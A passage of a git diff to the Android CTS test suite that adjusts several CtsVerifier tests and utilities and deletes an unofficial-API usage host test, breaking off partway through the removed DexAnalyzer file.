+                    R.drawable.ic_corp_icon));
+        }
     }
 
     protected void setupFingerprintTests(ArrayTestListAdapter adapter) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LockTaskUiTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LockTaskUiTestActivity.java
index b04ec47..82612f7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LockTaskUiTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LockTaskUiTestActivity.java
@@ -36,6 +36,7 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.content.pm.PackageManager;
 import android.database.DataSetObserver;
 import android.os.AsyncTask;
 import android.os.Bundle;
@@ -125,47 +126,57 @@
     }
 
     private void addTestsToAdapter(final ArrayTestListAdapter adapter) {
-        adapter.add(createSetLockTaskFeaturesTest(
-                TEST_ID_DEFAULT,
-                LOCK_TASK_FEATURE_NONE,
-                R.string.device_owner_lock_task_ui_default_test,
-                R.string.device_owner_lock_task_ui_default_test_info));
+        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+            adapter.add(createSetLockTaskFeaturesTest(
+                    TEST_ID_DEFAULT,
+                    LOCK_TASK_FEATURE_NONE,
+                    R.string.device_owner_lock_task_ui_default_test,
+                    R.string.device_owner_lock_task_ui_default_test_info));
 
-        adapter.add(createSetLockTaskFeaturesTest(
-                TEST_ID_SYSTEM_INFO,
-                LOCK_TASK_FEATURE_SYSTEM_INFO,
-                R.string.device_owner_lock_task_ui_system_info_test,
-                R.string.device_owner_lock_task_ui_system_info_test_info));
+            adapter.add(createSetLockTaskFeaturesTest(
+                    TEST_ID_SYSTEM_INFO,
+                    LOCK_TASK_FEATURE_SYSTEM_INFO,
+                    R.string.device_owner_lock_task_ui_system_info_test,
+                    R.string.device_owner_lock_task_ui_system_info_test_info));
+        }
 
-        adapter.add(createSetLockTaskFeaturesTest(
-                TEST_ID_NOTIFICATIONS,
-                LOCK_TASK_FEATURE_HOME | LOCK_TASK_FEATURE_NOTIFICATIONS,
-                R.string.device_owner_lock_task_ui_notifications_test,
-                R.string.device_owner_lock_task_ui_notifications_test_info));
+        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+            adapter.add(createSetLockTaskFeaturesTest(
+                    TEST_ID_NOTIFICATIONS,
+                    LOCK_TASK_FEATURE_HOME | LOCK_TASK_FEATURE_NOTIFICATIONS,
+                    R.string.device_owner_lock_task_ui_notifications_test,
+                    R.string.device_owner_lock_task_ui_notifications_test_info));
+        }
 
-        adapter.add(createSetLockTaskFeaturesTest(
-                TEST_ID_HOME,
-                LOCK_TASK_FEATURE_HOME,
-                R.string.device_owner_lock_task_ui_home_test,
-                R.string.device_owner_lock_task_ui_home_test_info));
+        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+            adapter.add(createSetLockTaskFeaturesTest(
+                    TEST_ID_HOME,
+                    LOCK_TASK_FEATURE_HOME,
+                    R.string.device_owner_lock_task_ui_home_test,
+                    R.string.device_owner_lock_task_ui_home_test_info));
+        }
 
-        adapter.add(createSetLockTaskFeaturesTest(
-                TEST_ID_RECENTS,
-                LOCK_TASK_FEATURE_HOME | LOCK_TASK_FEATURE_OVERVIEW,
-                R.string.device_owner_lock_task_ui_recents_test,
-                R.string.device_owner_lock_task_ui_recents_test_info));
+        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+            adapter.add(createSetLockTaskFeaturesTest(
+                    TEST_ID_RECENTS,
+                    LOCK_TASK_FEATURE_HOME | LOCK_TASK_FEATURE_OVERVIEW,
+                    R.string.device_owner_lock_task_ui_recents_test,
+                    R.string.device_owner_lock_task_ui_recents_test_info));
+        }
 
-        adapter.add(createSetLockTaskFeaturesTest(
-                TEST_ID_GLOBAL_ACTIONS,
-                LOCK_TASK_FEATURE_GLOBAL_ACTIONS,
-                R.string.device_owner_lock_task_ui_global_actions_test,
-                R.string.device_owner_lock_task_ui_global_actions_test_info));
+        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+            adapter.add(createSetLockTaskFeaturesTest(
+                    TEST_ID_GLOBAL_ACTIONS,
+                    LOCK_TASK_FEATURE_GLOBAL_ACTIONS,
+                    R.string.device_owner_lock_task_ui_global_actions_test,
+                    R.string.device_owner_lock_task_ui_global_actions_test_info));
 
-        adapter.add(createSetLockTaskFeaturesTest(
-                TEST_ID_KEYGUARD,
-                LOCK_TASK_FEATURE_KEYGUARD,
-                R.string.device_owner_lock_task_ui_keyguard_test,
-                R.string.device_owner_lock_task_ui_keyguard_test_info));
+            adapter.add(createSetLockTaskFeaturesTest(
+                    TEST_ID_KEYGUARD,
+                    LOCK_TASK_FEATURE_KEYGUARD,
+                    R.string.device_owner_lock_task_ui_keyguard_test,
+                    R.string.device_owner_lock_task_ui_keyguard_test_info));
+        }
 
         final Intent stopLockTaskIntent = new Intent(this, LockTaskUiTestActivity.class);
         stopLockTaskIntent.setAction(ACTION_STOP_LOCK_TASK);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
index 211d385..217878d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
@@ -187,18 +187,9 @@
         }
 
         /**
-         * Verify that each continuous sensor is using the correct
-         * clock source (CLOCK_BOOTTIME) for timestamps.
+         * Verify that the device is able to suspend
          */
-        public String testTimestampClockSource() throws Throwable {
-            String string = null;
-            boolean error_occurred = false;
-            List<Sensor> sensorList = mSensorManager.getSensorList(Sensor.TYPE_ALL);
-            if (sensorList == null) {
-                throw new SensorTestStateNotSupportedException(
-                    "Sensors are not available in the system.");
-            }
-
+        public void verifyDeviceCanSuspend() throws Throwable {
             // Make sure clocks are different (i.e. kernel has suspended at least once)
             // so that we can determine if sensors are using correct clocksource timestamp
             final int MAX_SLEEP_ATTEMPTS = 10;
@@ -238,6 +229,22 @@
                 mDeviceSuspendLock.acquire();
             }
             mAlarmManager.cancel(mPendingIntent);
+        }
+
+        /**
+         * Verify that each continuous sensor is using the correct
+         * clock source (CLOCK_BOOTTIME) for timestamps.
+         */
+        public String testTimestampClockSource() throws Throwable {
+            String string = null;
+            boolean error_occurred = false;
+            List<Sensor> sensorList = mSensorManager.getSensorList(Sensor.TYPE_ALL);
+            if (sensorList == null) {
+                throw new SensorTestStateNotSupportedException(
+                    "Sensors are not available in the system.");
+            }
+
+            boolean needToVerifySuspend = true;
 
             for (Sensor sensor : sensorList) {
                 if (sensor.getReportingMode() != Sensor.REPORTING_MODE_CONTINUOUS) {
@@ -248,6 +255,12 @@
                     Log.i(TAG, "testTimestampClockSource skipping vendor specific sensor: '" + sensor.getName());
                     continue;
                 }
+
+                if (needToVerifySuspend) {
+                    verifyDeviceCanSuspend();
+                    needToVerifySuspend = false;
+                }
+
                 try {
                     string = runVerifySensorTimestampClockbase(sensor, false);
                     if (string != null) {
diff --git a/apps/VpnApp/notalwayson/AndroidManifest.xml b/apps/VpnApp/notalwayson/AndroidManifest.xml
index 58d2bf9..b356369 100644
--- a/apps/VpnApp/notalwayson/AndroidManifest.xml
+++ b/apps/VpnApp/notalwayson/AndroidManifest.xml
@@ -19,6 +19,7 @@
 
     <uses-sdk android:minSdkVersion="22"/>
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
 
     <application android:label="@string/app">
         <activity android:name=".VpnClient">
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
index e2459d0..16f7610 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
@@ -32,6 +32,8 @@
     private static final String VERSION_NAME = "version_name";
     private static final String SYSTEM_PRIV = "system_priv";
     private static final String PRIV_APP_DIR = "/system/priv-app";
+    private static final String MIN_SDK = "min_sdk";
+    private static final String TARGET_SDK = "target_sdk";
 
     @Override
     protected void collectDeviceInfo(DeviceInfoStore store) throws Exception {
@@ -45,6 +47,9 @@
             if (pkg.applicationInfo != null) {
                 String dir = pkg.applicationInfo.sourceDir;
                 store.addResult(SYSTEM_PRIV, dir != null && dir.startsWith(PRIV_APP_DIR));
+
+                store.addResult(MIN_SDK, pkg.applicationInfo.minSdkVersion);
+                store.addResult(TARGET_SDK, pkg.applicationInfo.targetSdkVersion);
             }
             store.endGroup();
         }
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java
index a49e949..943ebc7 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java
@@ -46,7 +46,7 @@
     }
 
     public static boolean isAtLeast(String version) {
-        return Build.VERSION.SDK_INT > resolveVersionString(version);
+        return Build.VERSION.SDK_INT >= resolveVersionString(version);
     }
 
     public static boolean isAtMost(int version) {
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/AppStandbyUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/AppStandbyUtils.java
index a1adc02..eb94b60 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/AppStandbyUtils.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/AppStandbyUtils.java
@@ -59,7 +59,8 @@
     public static boolean isAppStandbyEnabledAtRuntime() {
         final String result =
                 SystemUtil.runShellCommand("settings get global app_standby_enabled").trim();
-        final boolean boolResult = result.equals("1");
+        // framework considers null value as enabled.
+        final boolean boolResult = result.equals("1") || result.equals("null");
         Log.d(TAG, "AppStandby is " + (boolResult ? "enabled" : "disabled") + " at runtime.");
         return boolResult;
     }
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java b/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java
index 130bf69..7d7aaf0 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java
@@ -17,6 +17,7 @@
 package com.android.compatibility.common.util;
 
 import android.content.Context;
+import android.text.TextUtils;
 import android.util.Log;
 
 import java.lang.reflect.Method;
@@ -56,6 +57,22 @@
      * {@inheritDoc}
      */
     @Override
+    public void logDebug(String format, Object... args) {
+        Log.d(LOG_TAG, String.format(format, args));
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    protected String formatExecutionString(String method, String... args) {
+        return String.format("%s(%s)", method, TextUtils.join(", ", args));
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
     protected ResolvedMethod getResolvedMethod(Class cls, String methodName, String... args)
             throws ClassNotFoundException {
         List<Method> nameMatches = getMethodsWithName(cls, methodName);
diff --git a/hostsidetests/api/Android.mk b/hostsidetests/api/Android.mk
deleted file mode 100644
index ec9a337..0000000
--- a/hostsidetests/api/Android.mk
+++ /dev/null
@@ -1,48 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsUnofficialApisUsageTestCases
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SDK_VERSION := current
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
-LOCAL_STATIC_JAVA_LIBRARIES := dexlib2 doclava jsilver guavalib antlr-runtime host-jdk-tools-prebuilt \
-    compatibility-host-util
-
-# These are list of api txt files that are considered as approved APIs
-LOCAL_JAVA_RESOURCE_FILES := $(addprefix frameworks/base/,\
-api/current.txt \
-api/system-current.txt \
-test-base/api/android-test-base-current.txt \
-test-runner/api/android-test-runner-current.txt \
-test-mock/api/android-test-mock-current.txt)
-
-# API 27 is added since some support libraries are using old APIs
-LOCAL_JAVA_RESOURCE_FILES += prebuilts/sdk/api/27.txt
-
-# org.apache.http.legacy is considered as approved APIs
-LOCAL_JAVA_RESOURCE_FILES += external/apache-http/api/apache-http-legacy-current.txt
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE_TAGS := optional
-LOCAL_PREBUILT_STATIC_JAVA_LIBRARIES := host-jdk-tools-prebuilt:../../../$(HOST_JDK_TOOLS_JAR)
-include $(BUILD_HOST_PREBUILT)
diff --git a/hostsidetests/api/AndroidTest.xml b/hostsidetests/api/AndroidTest.xml
deleted file mode 100644
index df163b0..0000000
--- a/hostsidetests/api/AndroidTest.xml
+++ /dev/null
@@ -1,23 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2018 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS unofficial APIs usage test cases">
-    <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="systems" />
-    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
-      <option name="jar" value="CtsUnofficialApisUsageTestCases.jar" />
-      <option name="runtime-hint" value="30s" />
-    </test>
-</configuration>
diff --git a/hostsidetests/api/src/com/android/cts/api/ApprovedApis.java b/hostsidetests/api/src/com/android/cts/api/ApprovedApis.java
deleted file mode 100644
index c68fe91..0000000
--- a/hostsidetests/api/src/com/android/cts/api/ApprovedApis.java
+++ /dev/null
@@ -1,225 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.api;
-
-import java.io.File;
-import java.io.IOException;
-import java.io.InputStream;
-import java.util.ArrayList;
-import java.util.Collection;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-import java.util.StringJoiner;
-import java.util.function.Function;
-import java.util.stream.Collectors;
-import java.util.stream.Stream;
-
-import com.google.doclava.ClassInfo;
-import com.google.doclava.FieldInfo;
-import com.google.doclava.MethodInfo;
-import com.google.doclava.ParameterInfo;
-import com.google.doclava.TypeInfo;
-import com.google.doclava.apicheck.ApiFile;
-import com.google.doclava.apicheck.ApiInfo;
-import com.google.doclava.apicheck.ApiParseException;
-
-/**
- * Parses API text files (e.g. current.txt) into classes, methods, and fields.
- */
-public class ApprovedApis {
-    private final Map<String, DefinedClass> definedApiClasses = new HashMap<>();
-    private final Map<String, DefinedMethod> definedApiMethods = new HashMap<>();
-    private final Map<String, DefinedField> definedApiFields = new HashMap<>();
-
-    public ApprovedApis(Stream<File> apiFiles) {
-        apiFiles.forEach(file -> parse(file));
-
-        // build the maps for methods and fields
-        definedApiMethods.putAll(definedApiClasses.values().stream()
-                .flatMap(c -> c.getMethods().stream()) // all methods from all classes
-                .collect(Collectors.toMap(DefinedMethod::getFullSignature,
-                        Function.identity()))); // map by their full signatures
-
-        definedApiFields.putAll(definedApiClasses.values().stream()
-                .flatMap(c -> c.getFields().stream()) // all fields from all classes
-                .collect(Collectors.toMap(DefinedField::getFullSignature,
-                        Function.identity()))); // map by their full signatures
-
-        if (UnofficialApisUsageTest.DEBUG) {
-            System.err.println("-------------------API------------------");
-
-            definedApiClasses.values().stream().sorted()
-                    .forEach(def -> System.err.println(" Defined class: " + def.getName()));
-
-            definedApiMethods.values().stream().sorted()
-                    .forEach(def -> System.err
-                            .println(" Defined method: " + def.getFullSignature()));
-
-            definedApiFields.values().stream().sorted()
-                    .forEach(def -> System.err
-                            .println(" Defined field: " + def.getFullSignature()));
-        }
-    }
-
-    public Map<String, DefinedClass> getDefinedClasses() {
-        return definedApiClasses;
-    }
-
-    public Map<String, DefinedMethod> getDefinedMethods() {
-        return definedApiMethods;
-    }
-
-    public Map<String, DefinedField> getDefinedFields() {
-        return definedApiFields;
-    }
-
-    private void parse(File apiFile) {
-        try {
-            InputStream is = null;
-            try {
-                is = this.getClass().getResourceAsStream(apiFile.toString());
-                ApiInfo apiInfo = ApiFile.parseApi(apiFile.toString(), is);
-                apiInfo.getPackages().values().stream()
-                        .flatMap(packageInfo -> packageInfo.allClasses().values().stream())
-                        .forEach(classInfo -> {
-                            DefinedClass c = definedApiClasses.get(classInfo.qualifiedName());
-                            if (c != null) {
-                                // if the same class has already been defined by other api file,
-                                // then update it
-                                DefinedClass newClass = definedClassFrom(classInfo);
-                                c.addNewMembers(newClass.getMethods(), newClass.getFields());
-                            } else {
-                                c = definedClassFrom(classInfo);
-                                definedApiClasses.put(c.getName(), c);
-                            }
-                        });
-
-            } finally {
-                if (is != null) {
-                    is.close();
-                }
-            }
-        } catch (ApiParseException | IOException e) {
-            throw new RuntimeException("Failed to parse " + apiFile, e);
-        }
-    }
-
-    private static DefinedClass definedClassFrom(ClassInfo def) {
-        String name = def.qualifiedName();
-        String superClassName = def.superclassName();
-        Collection<String> interfaces = def.interfaces().stream().map(ClassInfo::qualifiedName)
-                .collect(Collectors.toList());
-
-        Collection<DefinedMethod> methods = new ArrayList<>(
-                def.allConstructors().size() + def.selfMethods().size());
-        Collection<DefinedField> fields = new ArrayList<>(
-                def.enumConstants().size() + def.selfFields().size());
-
-        methods = Stream.concat(
-                def.allConstructors().stream().map(ApprovedApis::definedMethodFromConstructor),
-                def.selfMethods().stream().map(ApprovedApis::definedMethodFromMethod))
-                .collect(Collectors.toSet());
-
-        fields = Stream.concat(def.enumConstants().stream(), def.selfFields().stream())
-                .map(ApprovedApis::definedFieldFrom).collect(Collectors.toSet());
-
-        return new DefinedClass(name, superClassName, interfaces, methods, fields);
-    }
-
-    private static DefinedMethod definedMethodFromConstructor(MethodInfo def) {
-        return definedMethodFrom(def, true);
-    }
-
-    private static DefinedMethod definedMethodFromMethod(MethodInfo def) {
-        return definedMethodFrom(def, false);
-    }
-
-    private static DefinedMethod definedMethodFrom(MethodInfo def, boolean isCtor) {
-        StringBuffer sb = new StringBuffer();
-        if (isCtor) {
-            sb.append("<init>");
-        } else {
-            sb.append(def.name());
-        }
-        sb.append('(');
-        StringJoiner joiner = new StringJoiner(",");
-        for (int i = 0; i < def.parameters().size(); i++) {
-            ParameterInfo param = def.parameters().get(i);
-            TypeInfo type = param.type();
-            TypeInfo typeParameterType = def.getTypeParameter(type.qualifiedTypeName());
-            String typeName;
-            if (typeParameterType != null) {
-                List<TypeInfo> bounds = typeParameterType.extendsBounds();
-                if (bounds == null || bounds.size() == 0) {
-                    typeName = "java.lang.Object" + type.dimension();
-                } else {
-                    typeName = bounds.get(0).qualifiedTypeName() + type.dimension();
-                }
-            } else {
-                typeName = type.qualifiedTypeName() + type.dimension();
-            }
-            if (i == def.parameters().size() - 1 && def.isVarArgs()) {
-                typeName += "[]";
-            }
-            joiner.add(typeName);
-        }
-        sb.append(joiner.toString());
-        sb.append(')');
-        if (!isCtor) {
-            TypeInfo type = def.returnType();
-            TypeInfo typeParameterType = def.getTypeParameter(type.qualifiedTypeName());
-            if (typeParameterType != null) {
-                List<TypeInfo> bounds = typeParameterType.extendsBounds();
-                if (bounds == null || bounds.size() != 1) {
-                    sb.append("java.lang.Object" + type.dimension());
-                } else {
-                    sb.append(bounds.get(0).qualifiedTypeName() + type.dimension());
-                }
-            } else {
-                sb.append(type.qualifiedTypeName() + type.dimension());
-            }
-        }
-
-        String signature = sb.toString();
-        String containingClass = def.containingClass().qualifiedName();
-        return new DefinedMethod(signature, containingClass);
-    }
-
-    private static DefinedField definedFieldFrom(FieldInfo def) {
-        StringBuffer sb = new StringBuffer(def.name());
-        sb.append(":");
-
-        TypeInfo type = def.type();
-        TypeInfo typeParameterType = def.containingClass()
-                .getTypeParameter(type.qualifiedTypeName());
-        if (typeParameterType != null) {
-            List<TypeInfo> bounds = typeParameterType.extendsBounds();
-            if (bounds == null || bounds.size() != 1) {
-                sb.append("java.lang.Object" + type.dimension());
-            } else {
-                sb.append(bounds.get(0).qualifiedTypeName() + type.dimension());
-            }
-        } else {
-            sb.append(type.qualifiedTypeName() + type.dimension());
-        }
-
-        String signature = sb.toString();
-        String containingClass = def.containingClass().qualifiedName();
-        return new DefinedField(signature, containingClass);
-    }
-}
diff --git a/hostsidetests/api/src/com/android/cts/api/DefinedClass.java b/hostsidetests/api/src/com/android/cts/api/DefinedClass.java
deleted file mode 100644
index e4adc71..0000000
--- a/hostsidetests/api/src/com/android/cts/api/DefinedClass.java
+++ /dev/null
@@ -1,111 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.api;
-
-import java.util.ArrayList;
-import java.util.Collection;
-import java.util.HashSet;
-import java.util.stream.Collectors;
-
-/**
- * A class defined in a DEX or in an API file
- */
-public final class DefinedClass implements Comparable<DefinedClass> {
-    private final String name;
-    private final String superClassName;
-    private final Collection<String> interfaceNames;
-    private final Collection<DefinedMethod> methods;
-    private final Collection<DefinedField> fields;
-    private final Collection<String> methodSignatures;
-    private final Collection<String> fieldSignatures;
-
-    DefinedClass(String name, String superClassName, Collection<String> interfaceNames,
-            Collection<DefinedMethod> methods, Collection<DefinedField> fields) {
-        this.name = name;
-        this.superClassName = superClassName;
-        this.interfaceNames = interfaceNames;
-        // these are Set instead of List to eliminate duplication from multiple api files
-        this.methods = new HashSet<>();
-        this.fields = new HashSet<>();
-
-        // signatures is okay to be list because they are always re-generated
-        // in addMembersFrom
-        this.methodSignatures = new ArrayList<>();
-        this.fieldSignatures = new ArrayList<>();
-
-        addNewMembers(methods, fields);
-    }
-
-    void addNewMembers(Collection<DefinedMethod> newMethods, Collection<DefinedField> newFields) {
-        methods.addAll(newMethods);
-        fields.addAll(newFields);
-
-        // re-generate the signatures list
-        methodSignatures.clear();
-        methodSignatures.addAll(methods.stream()
-                .map(DefinedMethod::getSignature)
-                .collect(Collectors.toList()));
-
-        fieldSignatures.clear();
-        fieldSignatures.addAll(fields.stream()
-                .map(DefinedField::getSignature)
-                .collect(Collectors.toList()));
-    }
-
-    /**
-     * Returns canonical name of a class
-     */
-    public String getName() {
-        return name;
-    }
-
-    String getSuperClass() {
-        return superClassName;
-    }
-
-    Collection<String> getInterfaces() {
-        return interfaceNames;
-    }
-
-    Collection<DefinedMethod> getMethods() {
-        return methods;
-    }
-
-    Collection<DefinedField> getFields() {
-        return fields;
-    }
-
-    Collection<String> getMethodSignatures() {
-        return methodSignatures;
-    }
-
-    Collection<String> getFieldSignatures() {
-        return fieldSignatures;
-    }
-
-    boolean isEnum() {
-        return getSuperClass().equals("java.lang.Enum");
-    }
-
-    @Override
-    public int compareTo(DefinedClass o) {
-        if (o != null) {
-            return getName().compareTo(o.getName());
-        }
-        return 0;
-    }
-}
diff --git a/hostsidetests/api/src/com/android/cts/api/DefinedField.java b/hostsidetests/api/src/com/android/cts/api/DefinedField.java
deleted file mode 100644
index 0fe1796..0000000
--- a/hostsidetests/api/src/com/android/cts/api/DefinedField.java
+++ /dev/null
@@ -1,73 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.api;
-
-/**
- * A field or enum constant defined in a DEX or in an API file
- */
-public final class DefinedField implements Comparable<DefinedField> {
-    private final String signature;
-    private final String definingClass;
-
-    DefinedField(String signature, String definingClass) {
-        this.signature = signature;
-        this.definingClass = definingClass;
-    }
-
-    /**
-     * Returns name:type
-     */
-    String getSignature() {
-        return signature;
-    }
-
-    /**
-     * Returns class.name:type
-     */
-    public String getFullSignature() {
-        return getDefiningClass() + "." + getSignature();
-    }
-
-    String getDefiningClass() {
-        return definingClass;
-    }
-
-    @Override
-    public int compareTo(DefinedField o) {
-        if (o != null) {
-            return getFullSignature().compareTo(o.getFullSignature());
-        }
-        return 0;
-    }
-
-    @Override
-    public int hashCode() {
-        return getFullSignature().hashCode();
-    }
-
-    /**
-     * Fields are fully identified by their full signature. Two fields with same signature are
-     * considered to be the same.
-     */
-    @Override
-    public boolean equals(Object o) {
-        if (o != null && o instanceof DefinedField) {
-            return getFullSignature().equals(((DefinedField) o).getFullSignature());
-        }
-        return false;
-    }
-}
diff --git a/hostsidetests/api/src/com/android/cts/api/DefinedMethod.java b/hostsidetests/api/src/com/android/cts/api/DefinedMethod.java
deleted file mode 100644
index 9d78157..0000000
--- a/hostsidetests/api/src/com/android/cts/api/DefinedMethod.java
+++ /dev/null
@@ -1,73 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.api;
-
-/**
- * A method or constructor defined in a DEX or in an API file
- */
-public final class DefinedMethod implements Comparable<DefinedMethod> {
-    private final String signature;
-    private final String definingClass;
-
-    DefinedMethod(String signature, String definingClass) {
-        this.signature = signature;
-        this.definingClass = definingClass;
-    }
-
-    /**
-     * Returns name(arg1,arg2,...)type. For constructor, name is <init> and type is empty.
-     */
-    String getSignature() {
-        return signature;
-    }
-
-    /**
-     * Returns class.name(arg1,arg2,...)type. For constructor, name is <init> and type is empty.
-     */
-    public String getFullSignature() {
-        return getDefiningClass() + "." + getSignature();
-    }
-
-    String getDefiningClass() {
-        return definingClass;
-    }
-
-    @Override
-    public int compareTo(DefinedMethod o) {
-        if (o != null) {
-            return getFullSignature().compareTo(o.getFullSignature());
-        }
-        return 0;
-    }
-
-    @Override
-    public int hashCode() {
-        return getFullSignature().hashCode();
-    }
-
-    /**
-     * Methods are fully identified by their full signature. Two methods with same signature are
-     * considered to be the same.
-     */
-    @Override
-    public boolean equals(Object o) {
-        if (o != null && o instanceof DefinedMethod) {
-            return getFullSignature().equals(((DefinedMethod) o).getFullSignature());
-        }
-        return false;
-    }
-}
diff --git a/hostsidetests/api/src/com/android/cts/api/DexAnalyzer.java b/hostsidetests/api/src/com/android/cts/api/DexAnalyzer.java
deleted file mode 100644
index d2d9ade..0000000
--- a/hostsidetests/api/src/com/android/cts/api/DexAnalyzer.java
+++ /dev/null
@@ -1,560 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.api;
-
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.Collection;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.LinkedList;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
-import java.util.StringJoiner;
-import java.util.function.Function;
-import java.util.function.Predicate;
-import java.util.stream.Collectors;
-import java.util.stream.Stream;
-import java.util.stream.StreamSupport;
-
-import org.jf.dexlib2.DexFileFactory;
